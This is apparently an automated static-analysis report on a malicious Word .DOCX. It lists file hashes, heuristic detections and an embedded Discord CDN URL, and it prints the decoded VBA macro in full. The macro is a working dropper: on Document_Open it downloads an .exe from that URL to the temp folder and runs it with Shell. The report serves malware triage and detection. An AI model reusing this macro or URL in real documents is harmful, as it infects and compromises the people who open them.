Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 837893b0f94edf1b…

MALICIOUS

Office (OOXML) / .DOCX

17.0 KB Created: 2024-07-24 09:09:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2026-06-09
MD5: d7a5c0fa5fe1bacfffdc9f5a96d67ac1 SHA-1: c73744dab235921ddb40e8b948ae0539ee5b24ed SHA-256: 837893b0f94edf1b6a05e4ae0961999d93d26b12463d3fa88239111ba4f10605
258 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell (savePath)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            adoStream.Write xmlHttpRequest.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xmlHttpRequest = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        savePath = Environ$("tmp") & "\downloaded_file.exe"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/1265592680700711006/1265595644031270992/VVCGHHDYTR.exe?ex=66a2154b&is=66a0c3cb&hm=9935ad5bc1809f433d2cb81e4a36dea7a9b4a898c7a33ace01437a98095b4a22& Referenced by macro
    • https://cdn.discordapp.com/attachments/1265592680700711006/1265595644031270992/VVCGHHDYTR.exe?ex=66a2154b&is=66a0c3cb&hm=9935ad5bc1809f433d2cb81e4a36dea7a9b4a898c7a33ace01437a98095b4a22&�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2378 bytes
SHA-256: bad9f62ac721a367057e1f0332c82e0ff13f5d8f85a2129056d3f1c5a800f0f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    
    Const DOWNLOAD_URL As String = "https://cdn.discordapp.com/attachments/1265592680700711006/1265595644031270992/VVCGHHDYTR.exe?ex=66a2154b&is=66a0c3cb&hm=9935ad5bc1809f433d2cb81e4a36dea7a9b4a898c7a33ace01437a98095b4a22&"
    Dim xmlHttpRequest As Object
    Dim adoStream As Object
    Dim savePath As String
    Dim downloadSuccess As Boolean
    
    On Error GoTo ErrorHandler
    
    ' Initialize variables
    downloadSuccess = False
    savePath = Environ$("tmp") & "\downloaded_file.exe"
    
    ' Create XMLHTTP object to send HTTP request
    Set xmlHttpRequest = CreateObject("MSXML2.XMLHTTP")
    xmlHttpRequest.Open "GET", DOWNLOAD_URL, False
    xmlHttpRequest.send
    
    ' Check if the HTTP request was successful (status 200)
    If xmlHttpRequest.Status = 200 Then
        ' Create ADODB Stream object to handle binary data
        Set adoStream = CreateObject("ADODB.Stream")
        adoStream.Open
        adoStream.Type = 1 ' Binary data
        
        ' Write the response body to the stream
        adoStream.Write xmlHttpRequest.ResponseBody
        adoStream.Position = 0
        
        ' Save the file and close the stream
        adoStream.SaveToFile savePath, 2 ' Overwrite if file exists
        adoStream.Close
        
        downloadSuccess = True
    End If
    
    ' Clean up XMLHTTP object
    Set xmlHttpRequest = Nothing
    
    ' Execute the downloaded file if download was successful
    If downloadSuccess Then
        Shell (savePath)
    End If
    
    Exit Sub

ErrorHandler:
    ' Error handling code
    MsgBox "An error occurred: " & Err.Description, vbCritical, "Error"
    On Error Resume Next
    ' Ensure the objects are cleaned up in case of error
    If Not adoStream Is Nothing Then
        adoStream.Close
        Set adoStream = Nothing
    End If
    If Not xmlHttpRequest Is Nothing Then
        Set xmlHttpRequest = Nothing
    End If
End Sub



Attribute VB_Name = "NewMacros"
Sub tttt()
'
' tttt Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 2b80d43a85bc140ce439bb1c55679cfa5cf397bded661eb4b4dd5e471cd144fb

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